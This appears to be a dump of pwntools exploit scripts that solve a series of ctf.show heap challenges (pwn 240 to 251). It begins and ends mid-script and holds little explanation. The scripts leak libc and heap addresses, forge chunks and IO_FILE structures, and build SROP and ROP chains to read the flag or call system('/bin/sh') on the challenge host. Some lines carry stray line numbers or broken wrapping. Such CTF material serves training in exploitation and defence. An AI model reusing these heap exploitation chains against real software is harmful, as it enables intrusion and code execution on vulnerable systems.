link_map+=p64(0x800000000)

edit(2,link_map)
io.sendlineafter('¥¥¥¥¥', str(5))

io.interactive()
```

pwn 240

```
from pwn import *
context.log_level='debug'

io = remote("pwn.challenge.ctf.show",28227)
libc = ELF('./libc-2.31.so')

def add(index,size):
```

```
        io.sendlineafter('¥¥¥¥¥¥', str(1))
        io.sendlineafter('index:\n', str(index))
        io.sendlineafter("Size:\n", str(size))

def show(index):
        io.sendlineafter('¥¥¥¥¥¥', str(2))
        io.sendlineafter('index:\n', str(index))

def edit(index, content):
        io.sendlineafter('¥¥¥¥¥¥', str(3))
        io.sendlineafter('index:\n', str(index))
        io.sendafter("context: \n",content)

def delete(index):
        io.sendlineafter('¥¥¥¥¥¥', str(4))
        io.sendlineafter('index:\n', str(index))

add(0,0x428)
add(1,0x500)
add(2,0x418)
delete(0)
add(3,0x500)

show(0)
libc_base= u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x1ebfd0
edit(0,'a'*0x10)

show(0)
io.recvuntil('a'*0x10)
heap_base=u64(io.recv(6).ljust(8,b'\x00'))-0x290

rtld_global = libc_base + 0x222060

one_gadget = libc_base + 0xe6aee
ret_addr = libc_base + 0x0000000000025679
setcontext = 0x580dd + libc_base
pop_rdi = libc_base + 0x0000000000026b72
pop_rsi = libc_base + 0x0000000000027529
pop_rdx_r12 = libc_base + 0x000000000011c1e1
write_addr = libc_base + libc.symbols['write']
open_addr = libc_base + libc.symbols['open']
read_addr = libc.symbols['read'] + libc_base
delete(2)
edit(0,p64(libc_base+0x3ec090)*2+p64(heap_base+0x290)+p64(rtld_global-0x20))
add(4,0x500)
link_map=p64(0)
link_map+=p64(libc_base+0x223740)
```

```
link_map+=p64(0)
link_map+=p64(heap_base+0xb90+0x40)
link_map+=p64(0)*28
link_map+=p64(heap_base+0xc08+0x98+0x40)
link_map+=p64(heap_base+0xc08+32+0x98+0x40)
link_map+=p64(heap_base+0xc08+0x10+0x98+0x40)
link_map+=p64(0x20)
link_map+="flag\x00\x00\x00\x00"
link_map+=p64(heap_base+0xb90+0x40)
link_map+=p64(setcontext)
link_map+=p64(ret_addr)
link_map+=p64(0)*12
link_map+=p64(0)
link_map+=p64(heap_base+0xdc8)
link_map+=p64(0)*2
link_map+=p64(0x100)
link_map+=p64(0)*2
link_map+=p64(heap_base+0xdc8)
link_map+=p64(read_addr)
link_map+=p64(0)*36
link_map+=p64(0x800000000)
edit(2,link_map)
io.sendlineafter('¥¥¥¥¥¥', str(5))
flag_addr=heap_base+0xd00
orw=p64(pop_rdi)+p64(flag_addr)
orw+=p64(pop_rsi)+p64(0)
orw+=p64(open_addr)
orw+=p64(pop_rdi)+p64(3)
orw+=p64(pop_rsi)+p64(heap_base)
orw+=p64(pop_rdx_r12)+p64(0x50)+p64(0)
orw+=p64(read_addr)
orw+=p64(pop_rdi)+p64(1)
orw+=p64(pop_rsi)+p64(heap_base)
orw+=p64(pop_rdx_r12)+p64(0x50)+p64(0)
orw+=p64(write_addr)
io.sendline(orw)

io.interactive()
```

pwn 241

```
from pwn import*
context.log_level='debug'
def menu(ch):
    io.sendlineafter('>> ',str(ch))
```

```python
def New(size,content):
    menu(1)
    io.sendlineafter('Size: ',str(size))
    io.sendafter('Content: ',content)
def Modify(index,content):
    menu(2)
    io.sendlineafter('Index: ',str(index))
    io.sendafter('Content: ',content)
def Show(index):
    menu(4)
    io.sendlineafter('Index: ',str(index))
def Free(index):
    menu(3)
    io.sendlineafter('Index: ',str(index))

libc = ELF('./libc-2.32.so')
while True:
    io = remote("pwn.challenge.ctf.show",28194)
    try:
        New(0x2000,'bit')
        New(0x1000,'bit')
        New(0x2000 - 0x2f0 - 0x600,'bit')
        New(0x4f0,'bit')
        New(0x108,'bit')
        New(0x500,'bit')
        New(0x108,'bit')
        New(0x108,'bit')
        New(0x108,'bit')
        New(0x510,'bit')
        New(0x108,'bit')
        New(0x4f0,'bit')
        New(0x108,'bit')
        Free(3)
        Free(5)
        Free(9)
        New(0x2000,'bit')
        Free(3)
        New(0x500,'\x00'*8 + p64(0xe61))
        New(0x4f0,'\x00'*8+ '\x10\x00')

        Free(11)
        New(0x800,'bit')
        Free(9)
        New(0x510,'\x10\x00')
        New(0x4f0,'\x00'*0x20)

        Modify(10,'\x00'*0x100 + p64(0xe60))
```

```
        Free(11)
        New(0x4f0,'bit')
        New(0x1000,'bit')
        Show(6)
        libc_base = u64(io.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 1648 - 0x
10 - libc.sym['__malloc_hook']
        log.info('libc_base:\t' + hex(libc_base))
        Show(9)
        heap_base = u64(io.recv(6).ljust(8,'\x00')) - 0x49f0
        log.info('heap:\t' + hex(heap_base))
        SROP_address = heap_base + 0x79f0
        magic = libc_base + 0x1eb538
        main_arena = libc_base + libc.sym['__malloc_hook'] + 0x10
        pop_rdi_ret = libc_base + 0x000000000002858f
                pop_rdx_r12 = libc_base + 0x0000000000114161
        pop_rsi_ret = libc_base + 0x000000000002ac3f
        pop_rax_ret = libc_base + 0x0000000000045580
        syscall_ret = libc_base + 0x0000000000611ea
        malloc_hook = libc_base + libc.sym['__malloc_hook']


        frame = SigreturnFrame()
        frame.rsp = heap_base + 0x7a90 + 0x58
        frame.rip = pop_rdi_ret + 1

        Open = libc_base + libc.symbols["open"]
        Read = libc_base + libc.symbols["read"]
        Write = libc_base + libc.symbols['write']

        orw  = ''
        orw += p64(pop_rax_ret) + p64(2)
        orw += p64(pop_rdi_ret)+p64(heap_base + 0x7B78)
        orw += p64(pop_rsi_ret)+p64(0)
        orw += p64(syscall_ret)
        orw += p64(pop_rdi_ret) + p64(3)
        orw += p64(pop_rdx_r12) + p64(0x100) + p64(0)
        orw += p64(pop_rsi_ret) + p64(heap_base + 0x10000)
        orw += p64(Read)
        orw += p64(pop_rdi_ret)+p64(1)
        orw += p64(Write)
        orw += './flag\x00\x00'
        IO_helper_jumps = libc_base + 0x1e38c0
        New(0x130,'\x00'*0x108 + p64(0x4b1))
        New(0x440,'bit')
        New(0x8b0,'\x00'*0x20 + p64(0x21)*8)
        New(0x430,'bit')
        New(0x108,'bit')
```

```
        Free(15)
        New(0x800,'bit')
        Free(15)
        Free(7)
        New(0x4a0,'\x00'*0x28 + p64(0x451) + p64(main_arena + 1120)*2 + p64(heap_base + 0x6650) + p64(magic - 0x20))
        Free(17)
        New(0x800,str(frame) + orw)
        Free(15)

        New(0x430,'bit')
        Free(7)
        New(0x4a0,'\x00'*0x30 + '\x01'*0x90 + p64(libc_base + 0x1e54c0 + 0x60)*0x10 + p64(libc_base + 0x1e48c0 + 0xa0)*0x10)
        Free(0)
        Free(1)

        New(0x108,p64(libc_base + libc.sym['setcontext'] + 61))
        New(0x208,str(frame)[0xa0:])
        menu(1)
        io.sendafter('Size:',str(0x428))
        break
    except:
        io.close()

io.interactive()
```

pwn 242

```
from pwn import *

context.log_level = 'debug'

io = remote("pwn.challenge.ctf.show",28284)

libc = ELF('./libc-2.34.so')
def add(flag,idx,size):
    if flag:
        io.recvuntil('opcode\n')
        payload = '\x01' + p8(idx) + p16(size)+'\x05'
        io.send(payload)
        return 0
    else:
        payload = '\x01' + p8(idx) + p16(size)
        return payload
```

```
14
15  def delete(flag,idx):
16      if flag:
17          io.recvuntil('opcode\n')
18          payload = '\x02' + p8(idx)+'\x05'
19          io.send(payload)
20          return 0
21      else:
22          payload = '\x02' + p8(idx)
23          return payload
24
25  def edit(flag,idx,size,content):
26      if flag:
27          io.recvuntil('opcode\n')
28          payload = '\x04' + p8(idx) + p16(size) + content+'\x05'
29          io.send(payload)
30          return 0
31      else:
32          payload = '\x04' + p8(idx) + p16(size) + content
33          return payload
34
35  def show(flag,idx):
36      if flag:
37          io.recvuntil('opcode\n')
38          payload = '\x03' + p8(idx) + '\x05'
39          io.send(payload)
40          return 0
41      else:
42          payload = '\x03' + p8(idx)
43          return payload
44
45  def quit():
46      return '\x05'
47
48  def recv():
49       leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
50       return leak
51
52  add(1,0,0x440)
53  add(1,1,0x4a0)
54  add(1,2,0x410)
55  add(1,3,0x490)
56  add(1,4,0x430)
57  add(1,5,0x490)
58  add(1,6,0x430)
59
60  add(1,9,0x4c0)
```

```python
add(1,10,0x490)
add(1,11,0x490)
add(1,12,0x490)
add(1,13,0x490)
add(1,14,0x490)
add(1,15,0x490)
add(1,16,0x490)
delete(1,1)
show(1,1)


leak = recv()

libc_base = leak - 0x1f30d0

setcontext = libc_base + 0x50bfd

main_arena = leak + 0x3f0
tcache_bins = libc_base + 0x1f2390

prsi = libc_base + 0x0000000000037c0a
prdi = libc_base + 0x000000000002daa2
prdx = libc_base + 0x00000000001066e1

stdout = libc_base + 0x1f3848
io_stdfile_1_lock = libc_base + 0x1f5730
str_jumps_vtable = libc_base + 0x1f4620
libc_abs = libc_base + 0x1f20b0
libc_puts = libc_base + 0x7a050
gadget = libc_base + 0x6f476

libc_open = libc_base + libc.sym['open']
libc_read = libc_base + libc.sym['read']
libc_write = libc_base + libc.sym['write']


io.recvuntil('opcode\n')
payload = add(0,7,0x500)
payload += delete(0,3)
payload += edit(0,1,0x20, p64(main_arena)*2+p64(0)+p64(tcache_bins-0x20))
payload += add(0,8,0x410)
payload += quit()
io.sendline(payload)

for i in range(7):
    delete(1,i+10)
delete(1,9)
```

```python
show(1,11)
heap_addr = u64(io.recvuntil('\x0a')[-6:-1].ljust(8,'\x00'))<<12
heap_base = heap_addr - 0x4000
info(hex(heap_base))

flag_str = heap_base + 0x760
rsp = heap_base + 0x460
v = heap_base + 0x388

fake = p64(0)
fake += p64(v)
fake += p64(v+0x22e)
fake += p64(libc_abs)*3
fake = fake.ljust(0x58,'\x00')
fake += p64(io_stdfile_1_lock)
fake += p64(0)*2
fake += p64(rsp)
fake += p64(prdi)
fake = fake.ljust(0xa8,'\x00')
fake += p64(str_jumps_vtable)
o = p64(gadget)*6 + p64(0) + p64(flag_str) +p64(libc_open)
r = p64(prdi) + p64(3) + p64(prsi) + p64(flag_str) + p64(prdx) + p64(0x30)+p64(0) + p64(libc_read)
w = p64(prdi) + p64(1) + p64(prsi) + p64(flag_str) + p64(prdx) + p64(0x30)+p64(0) + p64(libc_write)
payload = delete(0,5)
payload += show(0,5)
payload += show(0,5)
payload += show(0,5)
payload += show(0,5)
payload += show(0,5)
payload += edit(0,1,len(fake)+0x20,p64(main_arena)*2 + p64(0) + p64(stdout - 0x20) + fake)
payload += add(0,8,0x410)
payload += '\x00'*4
payload += p64(libc_puts) *2
payload += '\x00' * 0x28
payload += p64(setcontext)
payload += '\x00' *0x60
payload += o
payload += r
payload += w
payload = payload.ljust(0x4c0,'\x00') + './flag'
io.send(payload)

io.interactive()
```

pwn 243

```python
from pwn import *
elf_path = './pwn'
libc = ELF('./libc-2.27.so')
io = remote("pwn.challenge.ctf.show",28246)

io.recvuntil('Now you can get a big box, what size?')
io.sendline(str(0x1450-0x20))
io.recvuntil('Now you can get a bigger box, what size?')
io.sendline('20480')
io.recvuntil('Do you want to rename?(y/n)')
io.sendline('y')
io.recvuntil('Now your name is:')
arena_base = u64(io.recv(6) + '\x00\x00')
print hex(arena_base)
io.send(p64(0)+p64(arena_base-(0x7fae0cfe0ca0 - 0x7fae0cfe2940) - 0x10))
libc_base = arena_base - (0x7faf7ffb0ca0 - 0x7faf7fbc5000)
print hex(libc_base)
target_addr = libc_base + libc.symbols['_IO_list_all']
io.recvuntil('Do you want to edit big box or bigger box?(1:big/2:bigger)')
io.sendline('1')
io.recvuntil('Let\'s edit,')
binshsdd = 0x1b40fa + libc_base
IO_str_jumps = libc_base + 0x7f5020add360 - 0x7f50206f5000
fake_IO_FILE  = p64(0)*2
fake_IO_FILE += p64(0) + p64(binshsdd+1)
fake_IO_FILE += p64(0) + p64(0)
fake_IO_FILE += p64((binshsdd-100)/2) + p64(0)
fake_IO_FILE =  fake_IO_FILE.ljust(0xb0,'\x00')
fake_IO_FILE += p64(0xFFFFFFFFFFFFFFFF) + p64(0)*2
fake_IO_FILE += p64(IO_str_jumps)
fake_IO_FILE += p64(libc_base+libc.symbols['system'])

io.sendline(fake_IO_FILE)
io.recvuntil('bye')

io.interactive()
```

pwn 244

```python
from pwn import *
context.log_level = 'debug'
```

```python
io = remote("pwn.challenge.ctf.show",28149)
elf = ELF('./pwn')
libc = ELF('./libc-2.27.so')
def choice(i):
    io.sendlineafter('choice: \n', i)

def add(size):
    choice('1')
    io.sendlineafter('size:\n', str(size))

def edit(idx, content):
    choice('2')
    io.sendlineafter('id:\n', str(idx))
    io.sendline(content)

def show(idx):
    choice('3')
    io.sendlineafter('id:\n', str(idx))
    io.recvuntil('output\n')

def dele(idx):
    choice('4')
    io.sendlineafter('id:\n', str(idx))

add(0x500)
add(0x4af8*2-0x10)
add(0xC30*2-0x10)
add(0x500)
dele(0)
show(0)
libc_base = u64(io.recv(6).ljust(0x8, '\x00')) - 0x3ebca0
edit(0, p64(libc_base + 0x3ed940 - 0x10)*2)
edit(2, 'a'*((0x58-2)*8) + p64(libc_base + 0x10a2fc))
add(0x500)
dele(2)
dele(1)

io.interactive()
```

pwn 245

```python
from pwn import *
context.log_level='debug'
io = remote("pwn.challenge.ctf.show",28261)
```

```python
libc = ELF("./libc.so.6")

def decode(a):
        mingwen=base64.b64decode(a.encode())
        mingwen=mingwen[16:]

        s=[]
        for i in mingwen:
           s.append(ord(i))

        for i in range(0xff,0x4f,-2):
            key = s[s[i]]
            for j in range(i):
                s[j] ^= key

            for k in range(s[i],i):
                s[k] = s[k+1]
        string=''
        s=s[:8]
        for i in s:
            string+=chr(i)
        b=u64(string)
        return b

def inputs(choice):
        a='wwnalnal\x20\x00\x00\x00\x00\x00\x00\x00'
        b=str(choice)
        b=b.ljust(0x60,'\x00')
        b=b.ljust(0x100,'\x06')
        mingwen=base64.b64encode(a+b)
        print(mingwen)
        return mingwen

def add(a1,s):
        choice=inputs(1)
        io.recvuntil('=\n')
        io.recvuntil('=\n')
        io.recvuntil('=\n')
        io.recvuntil('=\n')
        io.recvuntil('=\n')
        io.sendline(choice)
        size=inputs(a1)
        io.sendlineafter('=\n',size)
        a='wwnalnal\x20\x00\x00\x00\x00\x00\x00\x00'
        content=base64.b64encode(a+s)
        io.sendlineafter('=\n',content)
        io.recvuntil('=\n')
```

```
47
48  def add2(a1):
49          choice=inputs(1)
50          io.recvuntil('=\n')
51          io.recvuntil('=\n')
52          io.recvuntil('=\n')
53          io.recvuntil('=\n')
54          io.recvuntil('=\n')
55          io.sendline(choice)
56          size=inputs(a1)
57          io.sendlineafter('=\n',size)
58          io.recvuntil('=\n')
59
60  def dele(a1):
61          choice=inputs(2)
62          io.recvuntil('=\n')
63          io.recvuntil('=\n')
64          io.recvuntil('=\n')
65          io.recvuntil('=\n')
66          io.recvuntil('=\n')
67          io.sendline(choice)
68          index=inputs(a1)
69          io.sendlineafter('=\n',index)
70          io.recvuntil('=\n')
71
72  def edit(a1,s):
73          choice=inputs(3)
74          io.recvuntil('=\n')
75          io.recvuntil('=\n')
76          io.recvuntil('=\n')
77          io.recvuntil('=\n')
78          io.recvuntil('=\n')
79          io.sendline(choice)
80          index=inputs(a1)
81          io.sendlineafter('=\n',index)
82          a='wwnalnal\x20\x00\x00\x00\x00\x00\x00\x00'
83          content=base64.b64encode(a+s)
84          io.sendlineafter('=\n',content)
85          io.recvuntil('=\n')
86
87  def show(a1):
88          choice=inputs(4)
89          io.recvuntil('=\n')
90          io.recvuntil('=\n')
91          io.recvuntil('=\n')
92          io.recvuntil('=\n')
93          io.recvuntil('=\n')
```

```
        io.sendline(choice)
        index=inputs(a1)
        io.sendlineafter('=\n',index)

choice=inputs(5)
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.sendline(choice)
size=inputs(14616)
io.sendlineafter('=\n',size)
io.recvuntil('=\n')
payload='a'*0x10
payload=payload.ljust(0x80,'\x00')
payload=payload.ljust(0x100,'\x12')
add(56,payload)
payload1='deadbeef'*0x2
payload1=payload1.ljust(0x60,'\x00')
payload1=payload1.ljust(0xff,'\x12')
payload1+='\xe8'
add(56,payload1)
add(56,payload1)
dele(0)
show(1)
io.recvuntil('=\n')
io.recvuntil('=\n')
show(0)
a=io.recvuntil('=')
print('a',a)
malloc_hook=decode(a)-16-88
libc_base=malloc_hook-libc.symbols['__malloc_hook']
print('libc_base',hex(libc_base))
io.recvuntil('=\n')
onegadget=[0x45226,0x4527a,0xf03a4,0xf1247]
global_max_fast=libc_base+0x3c67f8
system=libc_base+libc.symbols['system']

edit(0,p64(malloc_hook+88+16)+p64(global_max_fast-0x10))
add(56,'/bin/sh\x00')

choice=inputs(5)
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
```

```
io.recvuntil('=\n')
io.sendline(choice)

choice=inputs(5)
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.sendline(choice)
io.recvuntil('=\n')
io.recvuntil('=\n')
a='wwnalnal\x20\x00\x00\x00\x00\x00\x00\x00'
content=base64.b64encode(a+p64(system))
io.sendline(content)
choice=inputs(5)
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.sendline(choice)
dele(3)

io.interactive()
```

pwn 246

```
from pwn import *
context.log_level = 'debug'
elf = ELF("./pwn")
libc = ELF('./libc-2.23.so')


def add(size):
        io.recvuntil("Command: ")

        io.sendline('1')
        io.recvuntil("Size: ")
        io.sendline(str(size))

def delete(index):
        io.recvuntil("Command: ")

        io.sendline('3')
```

```
        io.recvuntil("Index: ")
        io.sendline(str(index))

def show(index):
        io.recvuntil("Command: ")

        io.sendline('4')
        io.recvuntil("Index: ")
        io.sendline(str(index))

def edit(index,content):
        io.recvuntil("Command: ")

        io.sendline('2')
        io.recvuntil("Index: ")
        io.sendline(str(index))
        io.recvuntil("Size: ")
        io.sendline(str(len(content)))
        io.recvuntil("Content: ")
        io.send(content)

def pwn():
        add(0x18)
        add(0x508)
        add(0x18)
        add(0x18)
        add(0x508)
        add(0x18)
        add(0x18)

        edit(1, 'a'*0x4f0+p64(0x500))
        delete(1)
        edit(0, 'a'*(0x18-12))
        add(0x18)
        add(0x4d8)
        delete(1)
        delete(2)
        add(0x38)
        add(0x4e8)

        edit(4, 'a'*0x4f0+p64(0x500))
        delete(4)
        edit(3, 'a'*(0x18-12))
        add(0x18)
        add(0x4d8)
        delete(4)
        delete(5)
```

```
60          add(0x48)
61
62          delete(2)
63          add(0x4e8)
64          delete(2)
65
66          storage = 0x13370800
67          fake_chunk = storage - 0x20
68          payload = '\x00' * 0x10 + p64(0) + p64(0x4f1) + p64(0) +
    p64(fake_chunk)
69          edit(7, payload)
70          payload = '\x00' * 0x20 + p64(0) + p64(0x4e1) + p64(0) +
    p64(fake_chunk+8) + p64(0) + p64(fake_chunk-0x18-5)
71          edit(8, payload)
72
73          add(0x48)
74          payload = p64(0)*4 + p64(0) + p64(0x13377331) + p64(storage)
75          edit(2, payload)
76
77          payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) +
    p64(0x1000) + p64(fake_chunk+3) + p64(8)
78          edit(0, payload)
79
80          show(1)
81          io.recvuntil("]: ")
82          heap = u64(io.recv(6).ljust(8, '\x00'))
83          success("heap:"+hex(heap))
84
85          payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) +
    p64(0x1000) + p64(heap+0x10) + p64(8)
86          edit(0, payload)
87
88          show(1)
89          io.recvuntil("]: ")
90          malloc_hook = u64(io.recv(6).ljust(8, '\x00')) -0x58 - 0x10
91          libc.address = malloc_hook - libc.sym['__malloc_hook']
92          free_hook = libc.sym['__free_hook']
93          system = libc.sym['system']
94          success("malloc_hook:"+hex(malloc_hook))
95
96          payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) +
    p64(0x1000) + p64(free_hook) + p64(0x100) + p64(storage+0x50) + p64(8) +
    '/bin/sh\x00'
97          edit(0, payload)
98          edit(1, p64(system))
99          delete(2)
100
```

```
        io.interactive()

if __name__ == "__main__":
        while True:
                io = remote("pwn.challenge.ctf.show",28197)
                try:
                        pwn()
                except:
                        io.close()
```

pwn 247

```
from pwn import *
context(arch = 'amd64', os = 'linux',log_level ='debug')
elf = ELF("./pwn")
libc = ELF('./libc-2.23.so')

def add(size):
    io.recvuntil("Choice: \n")

    io.sendline('1')
    io.recvuntil("Size: ")
    io.sendline(str(size))

def delete(index):
    io.recvuntil("Choice: \n")

    io.sendline('3')
    io.recvuntil("Index: ")
    io.sendline(str(index))

def show(index):
    io.recvuntil("Choice: \n")

    io.sendline('4')
    io.recvuntil("Index: ")
    io.sendline(str(index))

def edit(index, content):
    io.recvuntil("Choice: \n")

    io.sendline('2')
    io.recvuntil("Index: ")
    io.sendline(str(index))
    io.recvuntil("Content: ")
```

```
    io.send(content)

def pwn():
    libc.address = 0
    add(0x80)
    add(0x68)
    add(0xf0)
    add(0x18)
    delete(0)
    payload = 'a'*0x60 + p64(0x100)
    edit(1, payload)
    delete(2)
    add(0x80)
    show(1)
    malloc_hook = u64(io.recvuntil('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
    libc.address = malloc_hook - libc.sym['__malloc_hook']
    system = libc.sym['system']
    free_hook = libc.sym['__free_hook']
    set_context = libc.symbols['setcontext']
    success("libc_base:"+hex(libc.address))
    add(0x160)

    add(0x18)
    add(0x508)
    add(0x18)
    add(0x18)
    add(0x508)
    add(0x18)
    add(0x18)

    edit(5, 'a'*0x4f0+p64(0x500))
    delete(5)
    edit(4, 'a'*0x18)
    add(0x18)
    add(0x4d8)
    delete(5)
    delete(6)
    add(0x30)
    add(0x4e8)

    edit(8, 'a'*0x4f0+p64(0x500))
    delete(8)
    edit(7, 'a'*0x18)
    add(0x18)
    add(0x4d8)
    delete(8)
    delete(9)
```

```
76      add(0x40)
77      delete(6)
78      add(0x4e8)
79      delete(6)

80
81      storage = free_hook
82      fake_chunk = storage - 0x20
83      payload = '\x00'*0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
84      edit(11, payload)
85      payload = '\x00'*0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8)
    + p64(0) + p64(fake_chunk-0x18-5)

86      edit(12, payload)
87      add(0x48)#6
88      sleep(0.5)
89
90      new_addr =  free_hook &0xFFFFFFFFFFFFF000
91      shellcode1 = '''
92      xor rdi,rdi
93      mov rsi,%d
94      mov edx,0x1000
95
96      mov eax,0
97      syscall
98
99      jmp rsi
100     ''' % new_addr
101     edit(6,
    'a'*0x10+p64(set_context+53)+p64(free_hook+0x18)*2+asm(shellcode1))
102
103     frame = SigreturnFrame()
104     frame.rsp = free_hook+0x10
105     frame.rdi = new_addr
106     frame.rsi = 0x1000
107     frame.rdx = 7
108     frame.rip = libc.sym['mprotect']
109     edit(12, str(frame))
110     delete(12)
111     sleep(0.5)
112
113     shellcode2 = '''
114     mov rax, 0x67616c662f ;
115     push rax
116
117     mov rdi, rsp ;
118     mov rsi, 0 ;
```

```
    xor rdx, rdx ;
    mov rax, 2 ;
    syscall

    mov rdi, rax ;
    mov rsi,rsp  ;
    mov rdx, 1024 ;
    mov rax,0 ;
    syscall

    mov rdi, 1 ;
    mov rsi, rsp ;
    mov rdx, rax ;
    mov rax, 1 ;
    syscall

    mov rdi, 0 ;
    mov rax, 60
    syscall
    '''
    io.sendline(asm(shellcode2))

    io.interactive()

if __name__ == "__main__":
    while True:
        io = remote("pwn.challenge.ctf.show",28271)
        try:
            pwn()
        except:
            io.close()

```

pwn 248

```
from pwn import *
context.log_level='debug'
io = remote("pwn.challenge.ctf.show",28122)
libc = ELF('./libc-2.23.so')
def Add(l,d):
    io.sendlineafter('choice: ','1')
    io.sendlineafter('):','0')
    io.sendlineafter('):','0')
    io.sendlineafter('):','0')
    io.sendlineafter('):',str(l))
```

```
    io.sendlineafter('apple:',d)
def Edit(idx,d):
    io.sendlineafter('choice: ','3')
    io.sendlineafter('):',str(idx))
    io.sendlineafter('):','0')
    io.sendlineafter('):','0')
    io.sendlineafter('):','0')
    io.sendlineafter('apple:',d)
def Show(idx):
    io.sendlineafter('choice: ','4')
    io.sendlineafter('):',str(idx))
def Del(idx):
    io.sendlineafter('choice: ','2')
    io.sendlineafter('):',str(idx))
Add(0x60,'0'*0x60)
Add(0x60,'1'*0x60)
Add(0x60,'2'*0x60)
Add(0x60,'3'*0x60)
Add(0x60,'4'*0x60)
Add(0x60,'5'*0x60)
Add(0x3f0,'7'*0x3f0)
Add(0x60,  '8'*0x60 )
Add(0x3e0, '9'*0x3e0)
Add(0x60,  '9'*0x80 )
Add(0x3f0, 'a'*0x3d0)
Add(0x60-0x18,  'b'*0x30 )
Add(0x60-0x18,  'c'*0x30 )
Add(0x60-0x18,  'd'*0x30 )
Del(8)
Del(0xa)
Del(0)
Add(0x400,'')
Show(0xa)
io.recvuntil('description:')
heap_addr=u64(io.recvuntil('\n',drop=True).ljust(8,'\0'))-0x790
success('heap_addr:'+hex(heap_addr))
target_addr = heap_addr+0x130
fchunk1_addr = heap_addr+0xb0
fchunk2_addr = heap_addr+0x1b0
fchunk3_addr = heap_addr+0xc10
Edit(0xa,p64(target_addr))
ftarget  = p64(0)*2+p64(0x411)+p64(fchunk1_addr-0x18)+p64(fchunk1_addr-0x10)
ftarget += p64(fchunk3_addr)+p64(fchunk2_addr)
Edit(2,ftarget)
fake = p64(0)+p64(target_addr)
Edit(1,fake)
fake = p64(0)*2+p64(0x421)+p64(0)*2+p64(target_addr)
```

```
Edit(3,fake)
Edit(6,'6'*0x218+p64(0x410)+p64(0x411))
Del(5)
Del(3)
Add(0x3f0,'3'*56)
Add(0x60,'')
Show(3)
io.recvuntil('3'*56)
libc_base=u64(io.recv(6).ljust(8,'\0'))-0x3c4be8
success('libc_base:'+hex(libc_base))
free_hook=libc.sym['__free_hook']+libc_base
success('free_hook:'+hex(free_hook))
system=libc_base + libc.sym['system']
Del(6)
Del(3)
payload = p64(0)*2+p64(0x411)+p64(heap_addr+0x280)+p64(free_hook-0x48)
Edit(2,payload)
Add(0x3f0,'')
payload = p64(0)*2+p64(0x71)
Edit(2,payload)
payload = p64(0)*6+p64(0x31)+p64(0)*3+p64(0x431)
Edit(3,payload)
Del(0xc)
Del(0x3)
payload = p64(0)*2+p64(0x71)+p64(free_hook-0x3b)
Edit(2,payload)
Add(0x60-0x18,'/bin/sh')
payload = 'a'*0x13+p64(system)
Add(0x60-0x18,payload)
payload = p64(0)*2+p64(0x71)+'/bin/sh'
Edit(2,payload)
Del(3)

io.interactive()
```

pwn 249

```
from pwn import *
context(arch = 'amd64', os = 'linux',log_level = 'debug')
io = remote("pwn.challenge.ctf.show",28307)
elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')
def menu(choice):
        io.sendlineafter('> ',str(choice))
def add(size=0x80,data='u'):
```

```
        menu(1)
        io.sendlineafter('size: ',str(size))
        io.sendafter('content: ',str(data))
def dele(id):
        menu(2)
        io.sendlineafter('note id: ',str(id))
def show(id):
        menu(3)
        io.sendlineafter('note id: ',str(id))
io.sendlineafter('How many notes you plan to use?','-1')
for i in range(10):
        add(0x80)
for i in range(7):
        dele(7-1-i)
dele(8)
show(8)
libc_leak = u64(io.recvuntil('\x7f',drop=False)[-6:].ljust(8,'\0'))
libc_base = libc_leak - 0x1ecbe0
success('libc_leak',libc_leak)
success('libc_base',libc_base)
libc.address = libc_base
system_addr = libc.sym.system
bin_sh = libc.search('/bin/sh').next()
dele(7)
add()
dele(8)
add(0x100,'\0'*0x80+p64(0)+p64(0x91)+p64(libc.sym.__free_hook)+p64(0))
add(0x80,'/bin/sh\0')
add(0x80,p64(system_addr))
dele(12)

io.interactive()
```

pwn 250

```
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote("pwn.challenge.ctf.show",28111)
libc = ELF('./libc-2.31.so')
def add(index,size,content):
    io.sendlineafter('>> ' , '1')
    io.sendlineafter('>> ' , str(index))
    io.sendlineafter('>> ' , str(size))
    io.sendafter('>> ' , content)
def show(index):
```

```
    io.sendlineafter('>> ' , '2')
    io.sendlineafter('>> ' , str(index))
def delete(index):
    io.sendlineafter('>> ' , '3')
    io.sendlineafter('>> ' , str(index))

for i in range(7):
    add(i , 0x90 , 'a')
add(7 , 0x90 , 'a')
add(8 , 0x90 , 'a')
add(9 , 0x90 , 'a')
for i in range(7):
    delete(i)
delete(7)
delete(8)

show(7)
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 -
libc.sym['__malloc_hook']
success(hex(libc_base))
system_addr = libc_base + libc.sym['system']
__free_hook = libc_base + libc.sym['__free_hook']
add(10 , 0x90 , b'a')
delete(8)
payload = 'a'*0x90 + p64(0) + p64(0xa1) + p64(__free_hook)
add(11 , 0xb0 , payload)
add(12 , 0x90 , '/bin/sh\x00')
add(13 , 0x90 , p64(system_addr))
delete(12)

io.interactive()
```

pwn 251

```
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = remote("pwn.challenge.ctf.show", 28125)
elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')
def menu(c):
    io.sendlineafter('Choice: ', str(c))
def add(size=0x80, data='u'):
    menu(1)
    io.sendlineafter('Please input size: ', str(size))
    io.sendafter('Please input content: ', str(data))
```

```python
def dele(idx):
    menu(2)
    io.sendlineafter('Please input idx: ', str(idx))
def show(idx):
    menu(3)
    io.sendlineafter('Please input idx: ', str(idx))
def bkdoor(idx):
    menu(666)
